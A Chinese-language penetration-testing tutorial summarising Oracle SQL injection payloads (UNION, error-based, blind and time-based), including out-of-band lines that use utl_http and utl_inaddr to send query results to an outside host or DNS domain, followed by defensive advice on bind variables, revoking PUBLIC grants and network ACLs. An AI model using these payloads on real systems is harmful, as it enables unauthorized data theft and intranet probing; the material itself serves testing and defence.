Oracle SQL 注入方式小总结
最近遇到 Oracle 注入的测试越来越多,而互联网上 Oracle 注入的总结相对少见(MySQL 的资料则铺天盖地)。为了能快速进行漏洞测试和挖掘,便想把之前学习的 Oracle 注入方式温习一遍并整理成文。本文参考了 Oracle 官方文档、互联网上各位前辈的博客以及几本经典 paper,期待和师傅、前辈们讨论交流。文中的 user 值均为 SQLINJECTION。
说明:本文初稿写于 2017 年 8 月,此次归档时对过时的版本与权限说明做了更新,并在关键处用 note 标注。
Oracle 注入特性
在动手之前,先把 Oracle 与 MySQL 几个最容易踩坑的差异理清楚,后面所有 payload 都建立在这些特性之上:
- 查询必须有表:Oracle 的
SELECT必须带FROM,没有表时可使用dual。dual是 Oracle 的虚拟表,用来构成select的语法规则,Oracle 保证dual里永远只有一条记录(这点和 MySQL 可以SELECT 1直接出结果不同,刚从 MySQL 切过来很容易在这里报错)。 - 强类型匹配:Oracle 的数据类型是强匹配的(MySQL 有弱匹配的味道),所以做
UNION查询时,对应位置的数据类型必须与表中列的类型一致,无法快速猜类型的位置可以用null代替。 - 注释符号:单行注释
--,多行注释/**/,与 MySQL 一致。 - 数据字典体系:Oracle 没有 MySQL 那样的
information_schema,元数据分散在user_tables、user_tab_columns、all_tables、dba_tables等数据字典视图里,权限不同能看到的范围也不同。
UNION 注入
UNION 注入是最直接的回显路径,前提是页面能把查询结果回显出来。步骤和 MySQL 几乎一样,差别只在表名来源和类型匹配。
判断列数:
' order by 3 --
判断回显位置(用 null 占位以避开类型问题):
' union select null,null,null from dual --
获取数据库版本信息(Oracle 用 sys.v_$version 的 banner 字段,对应 MySQL 的 version()):
' union select null,(select banner from sys.v_$version where rownum=1),null from dual --
获取数据表名(用 rownum=1 取第一条,再用 <> 逐个排除,这是 Oracle 下没有 LIMIT 的常规绕法):
' union select null,(select table_name from user_tables where rownum=1),null from dual --
' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --
获取关键表中的列名(user_tab_columns 是 Oracle 的列信息视图):
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
获取关键列中的字段数据:
' union select SNAME,SUSER,SPWD from T_USER --
报错注入
测试或漏洞挖掘时,如果发现页面会回显数据库报错信息,可以优先选择报错注入——把查询结果通过报错语句带出到错误页面。和 MySQL 仅靠函数报错不同,Oracle 通常需要借助比较运算符把报错语句嵌进 1=[报错语句]、1>[报错语句] 这类表达式里触发。下面是几个常见且好用的报错函数。
0x01 utl_inaddr.get_host_name()
' and 1=utl_inaddr.get_host_name((select user from dual))--
0x02 ctxsys.drithsx.sn()
' and 1=ctxsys.drithsx.sn(1,(select user from dual))--

0x03 XMLType()
' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--

0x04 dbms_xdb_version.checkin()
' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

0x05 dbms_xdb_version.makeversioned()
' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null--

0x06 dbms_xdb_version.uncheckout()
' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--

0x07 dbms_utility.sqlid_to_sqlhash()
' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--

0x08 ordsys.ord_dicom.getmappingxpath()
' and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
' and 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--

0x09 decode 报错:这种方式更偏向布尔型注入——它不会把查询结果回显回来,只是用 1/0 触发除零错误,通过页面是否报错来判断条件是否成立。
' and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

带外通信
带外通信(Out-of-Band)参考自《SQL 注入攻击与防御》的思路:用 Oracle 发起 HTTP 或 DNS 请求,把查询结果拼到请求里,再从外网服务器的日志中读取——把繁琐的盲注变成可以直接拿到结果的方式。这种方法同时也能用于内网探测(或许这就是 Oracle 注入里的 SSRF?)。
0x01 utl_http.request() 向外网主机发送 HTTP 请求,请求里携带查询结果。在外网搭一个 Web 服务器记录请求日志即可接收:
' and 1=utl_http.request('http://10.10.10.1:80/'||(select banner from sys.v_$version where rownum=1)) --

0x02 utl_inaddr.get_host_address() 把查询结果拼到域名下,通过 DNS 解析日志获取结果(环境搭建可参考 ricterz 的笔记):
' and (select utl_inaddr.get_host_address((select user from dual)||'.t4inking.win') from dual) is not null--


2017 年我在原文里问过「这算不算 Oracle 的 SSRF」——答案是肯定的。
utl_http既能外带数据,也能向内网任意端口发请求做存活与端口探测,是 Oracle 注入里打通内网的高危通道,这也是为什么 11g R2 之后 Oracle 用 ACL 把它锁起来了。
布尔盲注
当页面既不回显也不报错,只能通过页面正常与否判断 SQL 是否执行时,就得用布尔盲注。通用思路是 ASCII() + substr() 组合,下面是我在多次漏洞挖掘中比较顺手的两个 payload,配上脚本就能批量取数据。
0x01 decode 布尔盲注:substr(user,1,1) 是条件,'S' 是要遍历的字符,匹配则返回 1,否则返回默认值 0。
' and 1=(select decode(substr(user,1,1),'S',(1),0) from dual) --
decode 的语义等价于:
decode(条件, 值1, 翻译值1, 值2, 翻译值2, ..., 值n, 翻译值n, 缺省值)
if 条件 == 值1 then return 翻译值1
elsif 条件 == 值2 then return 翻译值2
...
else return 缺省值
缺省值既可以是某个列名本身,也可以是自定义的值。
0x02 instr 布尔盲注:instr 返回子串在目标字符串中的位置,未找到返回 0。通过对目标子串做遍历迭代就能逐字还原数据,思路类似 MySQL 的 regexp 注入。
' and 1=(instr((select user from dual),'SQL')) --
例如 select instr('abcdefgh','de') from dual 返回 4(位置从 1 开始算)。

时间盲注
当页面连布尔判断都没有、只能靠响应时间判断 SQL 是否执行时,就是时间盲注。Oracle 的时间盲注通常用 DBMS_PIPE.RECEIVE_MESSAGE()(这个是从 SQLMap 源码里发现的),另一种是 decode() 与高耗时 SQL 操作的组合。所谓高耗时操作,比如 select count(*) from all_objects,对库里大量数据做查询,会耗费明显的时间——这个思路同样适用于其他数据库。
0x01 DBMS_PIPE.RECEIVE_MESSAGE()
' and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1
实际用法(配合 CASE WHEN + ASCII + SUBSTRC 逐字符判断):
' AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE 7238 END) AND '1'='1
DBMS_PIPE.RECEIVE_MESSAGE 的官方语法:
DBMS_PIPE.RECEIVE_MESSAGE(pipename IN VARCHAR2, timeout IN INTEGER DEFAULT maxwait) RETURN INTEGER
可以暂时理解成 DBMS_PIPE.RECEIVE_MESSAGE('任意值', 延迟秒数)。
0x02 decode 时间盲注:select count(*) from all_objects 会花更多时间去查所有数据库条目,用它做时间判断依据(类比 OWASP 测试指南里老虎机的案例)。
' and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1
也可以把 decode 与 DBMS_PIPE.RECEIVE_MESSAGE 嵌套:
' and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5),0) from dual) and '1'='1
防御建议
回头看,Oracle 注入的「姿势」虽然多,但根上都还是一个原因——SQL 语句被直接拼接。所以防御的落脚点很明确:
- 绑定变量 / 参数化查询:这是 Oracle 场景下最根本的解法。Oracle 的绑定变量不仅能防注入,还能提升硬解析效率,一举两得。JDBC 用
PreparedStatement、.NET 用OracleParameter、MyBatis 用#{},别图省事用${}拼字符串。 - 收回
PUBLIC权限:UTL_HTTP、UTL_INADDR、DBMS_XDB_VERSION、DBMS_LOCK、UTL_FILE这些包默认对PUBLIC开放,是带外通信与提权的高危通道。生产库上应显式REVOKE EXECUTE ON ... FROM PUBLIC,只授予真正需要的账号。 - 配置网络 ACL:11g R2 起,
UTL_HTTP、UTL_INADDR、UTL_SMTP、UTL_TCP等网络包都受 ACL 约束,用DBMS_NETWORK_ACL_ADMIN配置白名单,限制可访问的主机与端口,把带外通道堵死。 - 最小权限账号:应用连接数据库的账号不要用
SYS/SYSTEM,给一个只有SELECT/INSERT/UPDATE业务表权限的低权账号,ALL_*/DBA_*视图自然就看不到敏感元数据。 - WAF 与数据库审计:在前面加一层对 Oracle 注入特征(
dual、utl_、dbms_、v_$version)的检测,并在数据库层开启审计,留好追溯证据。
写在最后
Oracle 注入平时接触的机会相对少见,但一旦遇到——尤其是金融、政企这些还在大量用 Oracle 的行业——手法储备不够很容易卡壳。这篇文章把前辈们提出的各种姿势,以及我自己测试过比较好用的 payload 做了一次小结,方便日后查阅,也希望能让对 Oracle 注入无从下手的朋友有所收获。
核心还是那句话:注入的根在拼接,防御的根在绑定变量。攻击侧的各种函数与技巧,最终都能被参数化查询瓦解;而那些带外、报错的高危包,收回 PUBLIC 权限、配上 ACL,也就断了后路。知己知彼,把攻防两侧都想透了,防御才做得踏实。